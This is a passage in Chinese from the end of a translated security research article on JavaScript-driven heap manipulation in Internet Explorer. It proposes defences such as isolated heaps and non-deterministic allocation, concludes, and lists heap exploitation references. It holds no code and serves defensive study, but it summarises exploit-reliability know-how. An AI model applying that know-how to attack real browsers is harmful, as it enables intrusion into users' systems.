补救 文章的这个部分将简明地引入几种思路来保护浏览器对抗上面介绍的攻击利用技术。 堆隔离 保护浏览器堆最明显,但是并不是完全有效的方法是使用专门的堆存储JavaScript对象。这需要在OLEAUT32内存分配器中有一个非常小的改变,将会使字符串分配技术完全失效。攻击者仍旧能够操作字符串堆的布局,但是不能直接控制MSHTML 和ActiveX对象使用的堆。 如果这种保护机制在将来的windows发布中实现,我们期望攻击利用研究专注于通过指定的ActiveX 方法调用或DHTML操作控制ActiveX或者MSHTML堆的方法。 在安全架构方面,堆布局应该被当做一个第一级可利用的对象,类似于栈或堆数据。作为一个通用的原则,不信任的代码不应该给予直接访问其他应用程序组件使用的堆的权限。 Non-determinism 向内存分配器引入non-determinism是一个使堆攻击利用变得更加不可靠的好方法。如果攻击者不能预测一个特别的堆分配在哪里进行,那么在想要的状态下建立堆将变得更加困难。这不是一个新的思路,但是据我们所知,这在任何一个主要的操作系统中还没有实现。 结论 这篇文章讲的堆操作技术依赖于IE中的JavaScript实现给予了浏览器中执行的不信任代码在系统堆上执行任意分配和释放的能力。这种对堆的控制程度已经被证明可以极大的提高甚至最困难的堆破坏攻击利用的可靠性和精确度。 两种可能的将来研究途径是Windows Vista攻击利用和在Firefox、Opera和Safari上使用同样的技术。我们相信用脚本语言操作堆的通用思路同样适用于许多其它允许不信任脚本执行的系统。 书目 堆内部原理 · Windows Vista Heap Management Enhancements by Adrian Marinescu 堆攻击利用 · Third Generation Exploitation by Halvar Flake · Windows Heap Overflows by David Litchfield · XP SP2 Heap Exploitation by Matt Conover · Bypassing Windows heap protections by Nicolas Falliere · Defeating Microsoft Windows XP SP2 Heap Protection and DEP bypass by Alexander Anisimov · Exploiting Freelist[0] on XP SP2 by Brett Moore JavaScript内部原理 · How Do The Script Garbage Collectors Work? by Eric Lippert Internet Explorer 攻击利用 · Internet Explorer IFRAMG exploit by SkyLined
|
|
来自: 霞客书斋 > 《chrome漏洞》